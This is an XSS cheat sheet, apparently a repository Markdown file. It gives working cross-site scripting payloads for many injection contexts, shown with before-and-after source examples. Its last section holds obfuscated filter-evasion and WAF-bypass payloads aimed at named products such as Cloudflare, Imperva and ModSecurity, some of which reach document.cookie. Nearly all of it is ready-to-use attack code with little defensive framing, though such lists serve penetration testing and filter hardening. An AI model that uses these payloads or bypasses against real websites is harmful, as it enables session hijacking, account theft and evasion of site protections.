XSS Cheat Sheet (Basic)

Introduction

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack:

Reflected XSS

Attack where the malicious script runs from another website through the web browser
Stored XSS

Stored attacks are those where the injected script is permanently stored on the target servers
DOM-Based XSS

A type of XSS that has payloads found in the DOM rather than within the HTML code.

Where to find

This vulnerability can appear in all features of the application. If you want to find Dom-based XSS, you can find it by reading the javascript source code.

How to exploit

Basic payload

<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>

Add ' or " to escape the payload from value of an HTML tag

"><script>alert(1)</script>
'><script>alert(1)</script>

Example source code

<input id="keyword" type="text" name="q" value="REFLECTED_HERE">

After input the payload

<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>

Add --> to escape the payload if input lands in HTML comments.

--><script>alert(1)</script>

Example source code

<!-- REFLECTED_HERE -->

After input the payload

<!-- --><script>alert(1)</script> -->

Add when the input inside or between opening/closing tags, tag can be <a>,<title>,<script> and any other HTML tags

</tag><script>alert(1)</script>
"></tag><script>alert(1)</script>

Example source code

<a href="https://target.com/1?status=REFLECTED_HERE">1</a>

After input the payload

<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>

Use when input inside an attribute’s value of an HTML tag but > is filtered

" onmouseover=alert(1)
" autofocus onfocus=alert(1)

Example source code

<input id="keyword" type="text" name="q" value="REFLECTED_HERE">

After input the payload

<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">

Use </script> when input inside <script> tags

</script><script>alert(1)</script>

Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

After input the payload

<script>
    var sitekey = '</script><script>alert(1)</script>';
</script>

XSS Cheat Sheet (Advanced)

Use when input lands in a script block, inside a string delimited value.

'-alert(1)-'
'/alert(1)//

Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

After input the payload

<script>
    var sitekey = ''-alert(1)-'';
</script>

Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.

\'alert(1)//

Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

If we input payload '-alert(1)-' it will be like this

<script>
    var sitekey = '\'-alert(1)-\'';
</script>

The quotes are escaped by a backslash so we need to bypass them

After input the payload

<script>
    var sitekey = '\\'alert(1)//';
</script>

Use when there’s multi reflection in the same line of JS code

/alert(1)//\
/alert(1)}//\

Example source code

<script>
    var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
</script>

After input the payload

<script>
    var a = '/alert(1)//\'; var b = '/alert(1)//\';
</script>

Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).

'}alert(1);{'
\'}alert(1);{//

Example source code

<script>
    var greeting;
    var time = 1;
    if (time < 10) {
    test = 'REFLECTED_HERE';
  }
</script>

After input the payload

<script>
    var test;
    var time = 1;
    if (time < 10) {
    test = ''}alert(1);{'';
  }
</script>

Payload number 2 uses when quote escaped by backslash

Use when input lands inside backticks delimited strings

${alert(1)}

Example source code

<script>
    var dapos = `REFLECTED_HERE`;
</script>

After input the payload

<script>
    var dapos = `${alert(1)}`;
</script>

Uses when there is multiple reflections on same page. (Double Reflection)

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

After input the payload

<!DOCTYPE html>
<html>
<body>
'onload=alert(1)><svg/1='
...
'onload=alert(1)><svg/1='
</body>
</html>

Uses when there is multiple reflections on same page. (Triple Reflection)

*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

After input the payload

<!DOCTYPE html>
<html>
<body>
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
</body>
</html>

XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page

"><svg onload=alert(1)>.jpeg

XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool)

$ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg

XSS with SVG file (File Upload)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

XSS via markdown

[Click Me](javascript:alert('1'))

XSS in XML page

<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>

Add a "-->" to payload if input lands in a comment section

Add a "]]>" if input lands in a CDATA section

XSS Cheat Sheet (Bypass)

Mixed Case

<Script>alert(document.cookie)</Script>

Unclosed Tags

<svg onload="alert(1)"

Uppercase Payloads

<SVG ONLOAD=ALERT(1)>

Encoded XSS

(Encoded)
%3Csvg%20onload%3Dalert(1)%3E 

(Double Encoded)
%253Csvg%2520onload%253Dalert%281%29%253E 

(Triple Encoded)
%25253Csvg%252520onload%25253Dalert%25281%2529%25253E

JS Lowercased Input

<SCRİPT>alert(1)</SCRİPT>

PHP Email Validation Bypass

<svg/onload=alert(1)>"@gmail.com

PHP URL Validation Bypass

javascript://%250Aalert(1)

Inside Comments Bypass

<!--><svg onload=alert(1)-->

Bypass WAF

Cloudflare

<svg%0Aonauxclick=0;[1].some(confirm)//

<svg/onload={alert`1`}>

<a/href=j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;>

"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;

"><onx=[] onmouseover=prompt(1)>

%2sscript%2ualert()%2s/script%2u

"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))

[1].map(confirm)'ale'+'rt'()a&Tab;l&Tab;e&Tab;r&Tab;t(1)prompt&lpar;1&rpar;prompt&#40;1&#41;prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)

<svg onload=alert%26%230000000040"1")>

<svg onload=prompt%26%230000000040document.domain)>

<svg onload=prompt%26%23x000000028;document.domain)>

<svg/onrandom=random onload=confirm(1)>

<video onnull=null onmouseover=confirm(1)>

<a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus>

<img ignored=() src=x onerror=prompt(1)>

<svg onx=() onload=(confirm)(1)>

<--`<img/src=` onerror=confirm``> --!>

<img src=x onerror="a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]](document.domain)">

<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x

'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>

'"><img/src/onerror=.1|alert``>

:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie

Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

Cloudfront

">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>

<--`<img%2fsrc%3d` onerror%3dalert(document.domain)> --!>

"><--<img+src= "><svg/onload+alert(document.domain)>> --!>

Cloudbric

<a69/onclick=[1].findIndex(alert)>pew

Comodo WAF

<input/oninput='new Function`confir\u006d\`0\``'>

<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme

ModSecurity

<a href="jav%0Dascript&colon;alert(1)">

Imperva

<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>

<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

<a69/onclick=write&lpar;&rpar;>pew

<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>

<svg onload\r\n=$.globalEval("al"+"ert()");>

<svg/onload=self[`aler`%2b`t`]`1`>

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>

<img/src=q onerror='new Function`al\ert\`1\``'>

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

AWS

<script>eval(atob(decodeURIComponent(confirm`1`)))</script>

If you want to see the other payload for other WAF, check this link

References

Brute Logic
Awesome-WAF
Some random twitter posts

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Cross Site Scripting.md

Cross Site Scripting.md

XSS Cheat Sheet (Basic)

Introduction

Where to find

How to exploit

XSS Cheat Sheet (Advanced)

XSS Cheat Sheet (Bypass)

Bypass WAF

References

Files

Cross Site Scripting.md

Latest commit

History

Cross Site Scripting.md

File metadata and controls

XSS Cheat Sheet (Basic)

Introduction

Where to find

How to exploit

XSS Cheat Sheet (Advanced)

XSS Cheat Sheet (Bypass)

Bypass WAF

References